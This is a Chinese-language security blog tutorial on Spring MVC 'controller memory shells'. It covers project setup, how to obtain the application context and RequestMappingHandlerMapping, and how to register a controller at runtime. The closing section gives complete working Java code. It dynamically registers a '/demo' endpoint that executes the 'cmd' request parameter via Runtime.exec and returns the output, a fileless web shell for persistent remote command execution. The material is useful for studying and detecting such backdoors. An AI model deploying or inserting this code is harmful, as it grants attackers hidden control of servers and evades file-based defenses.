Controller内存马详解

搭建一个sprint项目

配置pom.xml

  • <?xml version="1.0" encoding="UTF-8"?>
  • <project xmlns="http://maven.apache.org/POM/4.0.0"
  • xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  • <modelVersion>4.0.0</modelVersion>
  • <groupId>org.example</groupId>
  • <artifactId>springmvc</artifactId>
  • <packaging>pom</packaging>
  • <version>1.0-SNAPSHOT</version>
  • <dependencies>
  • <dependency>
  • <groupId>junit</groupId>
  • <artifactId>junit</artifactId>
  • <version>4.12</version>
  • </dependency> <dependency>
  • <groupId>org.springframework</groupId>
  • <artifactId>spring-webmvc</artifactId>
  • <version>5.1.9.RELEASE</version>
  • </dependency>
  • <dependency>
  • <groupId>javax.servlet</groupId>
  • <artifactId>servlet-api</artifactId>
  • <version>2.5</version>
  • </dependency> <dependency>
  • <groupId>javax.servlet.jsp</groupId>
  • <artifactId>jsp-api</artifactId>
  • <version>2.2</version>
  • </dependency>
  • <dependency>
  • <groupId>javax.servlet</groupId>
  • <artifactId>jstl</artifactId>
  • <version>1.2</version>
  • </dependency> </dependencies>
  • </project>
展开

Demo

  • package com.naihe.controller;
  • import org.springframework.stereotype.Controller;
  • import org.springframework.ui.Model;
  • import org.springframework.web.bind.annotation.PathVariable;
  • import org.springframework.web.bind.annotation.RequestMapping;
  • import org.springframework.web.bind.annotation.RequestParam;
  • @Controller
  • public class Cl1 {
  • @RequestMapping("/cl1")
  • public String hello(String name, Model model){
  • model.addAttribute("msg",name);
  • return "hello";
  • }
  • }

配置web.xml

  • <?xml version="1.0" encoding="UTF-8"?>
  • <web-app
  • xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  • xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
  • http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  • version="4.0">
  • <!--1.注册servlet-->
  • <servlet>
  • <servlet-name>SpringMVC</servlet-name>
  • <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  • <!--通过初始化参数指定SpringMVC配置文件的位置,进行关联-->
  • <init-param> <param-name>contextConfigLocation</param-name>
  • <param-value>classpath:springmvc-servlet.xml</param-value>
  • </init-param>
  • <!-- 启动顺序,数字越小,启动越早 -->
  • <load-on-startup>1</load-on-startup>
  • </servlet>
  • <!--所有请求都会被springmvc拦截 -->
  • <servlet-mapping>
  • <servlet-name>SpringMVC</servlet-name>
  • <url-pattern>/</url-pattern>
  • </servlet-mapping>
  • </web-app>

配置springmvc-servlet.xml

  • <?xml version="1.0" encoding="UTF-8"?>
  • <beans
  • xmlns="http://www.springframework.org/schema/beans"
  • xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • xmlns:context="http://www.springframework.org/schema/context"
  • xmlns:mvc="http://www.springframework.org/schema/mvc"
  • xsi:schemaLocation="http://www.springframework.org/schema/beans
  • http://www.springframework.org/schema/beans/spring-beans.xsd
  • http://www.springframework.org/schema/context
  • https://www.springframework.org/schema/context/spring-context.xsd
  • http://www.springframework.org/schema/mvc
  • https://www.springframework.org/schema/mvc/spring-mvc.xsd">
  • <!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
  • <context:component-scan base-package="com.naihe.controller"/>
  • <!-- 让Spring MVC不处理静态资源 -->
  • <mvc:default-servlet-handler />
  • <!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
  • 要想使@RequestMapping注解生效
  • 必须向上下文中注册DefaultAnnotationHandlerMapping
  • 和一个AnnotationMethodHandlerAdapter实例
  • 这两个实例分别在类级别和方法级别处理。
  • 而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
  • <mvc:annotation-driven />
  • <!-- 视图解析器 -->
  • <bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest"></bean>
  • <bean id="/t1" class="com.naihe.controller.HelloController2"></bean>
  • <bean id="/mav" class="com.naihe.controller.Mav"/>
  • <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
  • <!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
  • <!-- 后缀 -->
  • <property name="suffix" value=".jsp" />
  • </bean>
  • </beans>
展开

配置的位置

1.png

流程分析

获取context

  • 第一种:getCurrentWebApplicationContext()
  • // getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
  • 第二种:WebApplicationContextUtils
  • // 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
  • 第三种:RequestContextUtils
  • // 通过 ServletRequest 类的实例来获得 Child WebApplicationContextWebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
  • 第四种:getAttribute
  • // 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext

获取RequestMappingHandlerMapping

  • RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  • 虽然获取的是RequestMappingHandlerMapping类
  • 但是RequestMappingHandlerMapping继承自AbstractHandlerMethodMapping
  • 同样拥有register
2.png
3.png

注册Controller

这里主要是通过register进行注册Controller

4.png

可以看到register方法的三个参数的类型

这里主要是映射关系,需要配置url和方法的方式

5.png

下面看一下RequestMappingInfo类

6.png

构造方法

7.png

handler是一个Object类,及自定义的Controller类的实例对象

8.png

自定义的Controller类方法的method类

9.png

内存马

  • package com.naihe.controller;
  • import org.springframework.stereotype.Controller;
  • import org.springframework.web.bind.annotation.RequestMapping;
  • import org.springframework.web.bind.annotation.RequestMethod;
  • import org.springframework.web.bind.annotation.ResponseBody;
  • import org.springframework.web.context.WebApplicationContext;
  • import org.springframework.web.context.request.RequestContextHolder;
  • import org.springframework.web.context.request.ServletRequestAttributes;
  • import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  • import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  • import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  • import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  • import javax.servlet.http.HttpServletRequest;
  • import java.io.BufferedReader;
  • import java.io.InputStream;
  • import java.io.InputStreamReader;
  • import java.lang.reflect.Method;
  • @Controller
  • public class Demo {
  • @ResponseBody
  • @RequestMapping(value = "/inject", method = RequestMethod.GET)
  • public void inject() throws NoSuchMethodException {
  • // 1. 利用spring内部方法获取context
  • WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  • // 2. 从context中获得 RequestMappingHandlerMapping 的实例
  • RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  • // 3. 通过反射获得自定义 controller 中的 Method 对象
  • Method method = InjectToController.class.getMethod("test");
  • // 4. 定义访问 controller 的 URL 地址
  • PatternsRequestCondition url = new PatternsRequestCondition("/demo");
  • // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  • RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  • // 6. 在内存中动态注册 controller
  • RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  • InjectToController injectToController = new InjectToController();
  • mappingHandlerMapping.registerMapping(info, injectToController, method);
  • }
  • @ResponseBody
  • public class InjectToController {
  • public InjectToController(){
  • }
  • public String test() throws Exception {
  • // 获取request
  • HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  • InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  • InputStreamReader isr = new InputStreamReader(is, "UTF-8");
  • BufferedReader br = new BufferedReader(isr);
  • String str = "";
  • String line = "";
  • while ((line = br.readLine())!=null){
  • str+=line;
  • }
  • is.close();
  • br.close();
  • return str;
  • }
  • }
  • }
展开

效果

10.png
11.png
12.png
本站文章资源均来源自网络,除非特别声明,否则均不代表站方观点,并仅供查阅,不作为任何参考依据!
如有侵权请及时跟我们联系,本站将及时删除!
如遇版权问题,请查看 本站版权声明
THE END
分享
二维码
海报
<<上一篇
下一篇>>